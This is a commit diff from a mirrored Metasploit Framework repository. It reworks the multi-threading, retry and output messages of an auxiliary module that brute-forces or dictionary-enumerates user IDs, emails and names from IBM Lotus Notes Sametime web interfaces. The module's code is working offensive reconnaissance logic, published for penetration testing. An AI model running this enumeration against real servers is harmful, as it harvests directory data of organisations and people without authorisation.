infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Clean multi-threading on ibm_sametime_enumerate_users

bug/bundler_fix
jvazquez-r7 2014-01-17 17:38:16 -06:00
parent bb3d9da0bb
commit d96772ead1
1 changed files with 31 additions and 64 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

81
modules/auxiliary/gather/ibm_sametime_enumerate_users.rb
View File

@ -19,16 +19,16 @@ class Metasploit3 < Msf::Auxiliary
This module extracts users using the IBM Lotus Notes Sametime web This module extracts users using the IBM Lotus Notes Sametime web
interface using either brute-force or dictionary based attack. interface using either brute-force or dictionary based attack.
}, },
'DefaultOptions' =>
{
'SSL' => true
},
'Author' => 'Author' =>
[ [
'kicks4kittens' # Metasploit module 'kicks4kittens' # Metasploit module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'DisclosureDate' => 'Dec 27 2013', 'DisclosureDate' => 'Dec 27 2013'
'DefaultOptions' =>
{
'SSL' => true
}
)) ))
register_options( register_options(
@ -38,8 +38,7 @@ class Metasploit3 < Msf::Auxiliary
OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]), OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]),
OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]),
OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']),
OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]), OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2])
OptBool.new('STREAMFINDINGS', [true, 'Stream new users as discovered', true])
], self.class) ], self.class)
register_advanced_options( register_advanced_options(
@ -97,13 +96,11 @@ class Metasploit3 < Msf::Auxiliary
end end
@depth_warning = true @depth_warning = true
@tested = []
@retries = [] @retries = []
end end
def run def run
print_status("#{peer} - Testing for IBM Lotus Notes Sametime User Enumeration flaw")
print_status("Testing #{peer} for IBM Lotus Notes Sametime User Enumeration flaw")
# test for expected response code on non-existant uid/email # test for expected response code on non-existant uid/email
if datastore['TYPE'] == "UID" if datastore['TYPE'] == "UID"
@ -150,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
end end
def test_handler def test_handler
print_status("Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)") print_status("#{peer} - Beginning tests using #{datastore['TYPE']} search method (#{datastore['Threads']} Threads)")
test_length = 1 # initial test length set test_length = 1 # initial test length set
until @test_queue.empty? until @test_queue.empty?
@ -171,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
# provide feedback to user on current test length # provide feedback to user on current test length
if datastore['DICT'].blank? and test_current.length > test_length if datastore['DICT'].blank? and test_current.length > test_length
test_length = test_current.length test_length = test_current.length
print_status("Beginning brute_force test for #{test_length} character strings") print_status("#{peer} - Beginning brute_force test for #{test_length} character strings")
end end
res = make_request(test_current) res = make_request(test_current)
@ -180,25 +177,15 @@ class Metasploit3 < Msf::Auxiliary
if res.nil? and not @retries.include?(test_current) if res.nil? and not @retries.include?(test_current)
# attempt test again as the server was too busy to respond # attempt test again as the server was too busy to respond
# correctly - error returned # correctly - error returned
print_error("Error reading JSON response, attempting to redo check for \"#{test_current}\"") print_error("#{peer} - Error reading JSON response, attempting to redo check for \"#{test_current}\"")
Rex::sleep(1) # sleep 1 second and retry request @test_queue.push(test_current)
@retries << test_current @retries << test_current
res = make_request(test_current) if @retries.length == 10
print_error("#{peer} - Excessive number of retries detected (#{@retries.length}... check the TIMING and Threads options)")
end end
elsif res
if res
# check response for user data # check response for user data
check_response(res, test_current) check_response(res, test_current)
elsif not @retries.include?(test_current)
vprint_error("No response received from server when testing string \"#{test_current}*\" (Retrying)")
@retries << test_current
Rex::sleep(1) # sleep 1 second and retry
res = make_request(test_current)
end
if @retries.length == 10
print_error("Excessive number of retries detected (#{@retries.length} check TIMING)")
@retries << "warning sent to user" # increase length to avoid multiple warnings
end end
end end
end end
@ -239,14 +226,7 @@ class Metasploit3 < Msf::Auxiliary
# successful response - extract user data # successful response - extract user data
extract_user(res) extract_user(res)
# extend test_queue to search for further data (not if dictionary in use) # extend test_queue to search for further data (not if dictionary in use)
extend_queue(test_current) if (datastore['DICT'].nil? or datastore['DICT'].empty?) extend_queue(test_current) if (datastore['DICT'].blank?)
return true
elsif JSON.parse(res.body).blank? # empty JSON element
# expected failure for non-existent user - must return false
return false
else
# unexpected failure
print_error("Unexpected response received from server #{peer}")
end end
rescue JSON::ParserError rescue JSON::ParserError
# non-JSON response - server may be overloaded # non-JSON response - server may be overloaded
@ -258,54 +238,41 @@ class Metasploit3 < Msf::Auxiliary
# extract user data if not already present # extract user data if not already present
begin begin
userinfo = JSON.parse(res.body) userinfo = JSON.parse(res.body)
if not @user_data.flatten.include?(userinfo['uid']) unless @user_data.flatten.include?(userinfo['uid'])
@user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ] @user_data << [ userinfo['uid'], userinfo['mail'] || "-", userinfo['externalName'] || "-" ]
if datastore['STREAMFINDINGS'] # print newly discovered users straight to the screen if verbose mode is set
# print newly discovered users straight to the screen vprint_good("#{peer} - New user found: #{userinfo['uid']}")
print_good("New user found: #{userinfo['uid']}")
end
report_user(userinfo['uid']) report_user(userinfo['uid'])
end end
rescue JSON::ParserError rescue JSON::ParserError
print_error("Error reading JSON string, continuing") print_error("#{peer} - Error reading JSON string, continuing")
end end
end end
# extend the test queue if MAXDEPTH value not exceeded # extend the test queue if MAXDEPTH value not exceeded
# checks made to ensure duplicates are not created when extending # checks made to ensure duplicates are not created when extending
# process: # process:
# #
# when a user is found searching for 'a' the queue for 'a' is extended as # when a user is found searching for 'a' the queue for 'a' is extended as
# only the first user starting with 'a' will be returned (e.g. 'aanderson') # only the first user starting with 'a' will be returned (e.g. 'aanderson')
# To find all users the queue must be extended by adding 'aa' through to 'az' # To find all users the queue must be extended by adding 'aa' through to 'az'
# Due to the threaded nature of this module, checks need to be in place to ensure
# duplicate entries are not added to the queue by competing threads.
def extend_queue(test_current) def extend_queue(test_current)
if test_current.length < datastore['MAXDEPTH'] if test_current.length < datastore['MAXDEPTH']
@charset.each do | char | @charset.each do | char |
if not @tested.include?(test_current + char)
# only add if not alread in queue - avoid duplicates appearing
@test_queue.push(test_current + char) @test_queue.push(test_current + char)
# keep track of whats already been queued and checked
@tested.push(test_current + char)
end end
end elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and datastore['MAXDEPTH'] > 1
elsif @depth_warning and test_current.length == datastore['MAXDEPTH'] and not datastore['MAXDEPTH'] == 1 vprint_status("#{peer} - Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
vprint_status("Depth limit reached [#{datastore['MAXDEPTH']} levels deep] finishing up current tests")
@depth_warning = false @depth_warning = false
return
end end
end end
def report_user(username) def report_user(username)
report_note( report_note(
:host => rhost, :host => rhost,
:port => rport,
:proto => 'tcp', :proto => 'tcp',
:sname => 'sametime', :sname => 'sametime',
:port => rport,
:type => 'ibm_lotus_sametime_user', :type => 'ibm_lotus_sametime_user',
:data => "#{username}", :data => "#{username}",
:update => :unique_data :update => :unique_data
@ -333,10 +300,10 @@ class Metasploit3 < Msf::Auxiliary
end end
if not user_tbl.to_s.empty? if not user_tbl.to_s.empty?
print_good("#{@user_data.length} users extracted from #{peer}") print_good("#{peer} - #{@user_data.length} users extracted")
print_line(user_tbl.to_s) print_line(user_tbl.to_s)
else else
print_error("No users discovered") print_error("#{peer} - No users discovered")
end end
end end
end end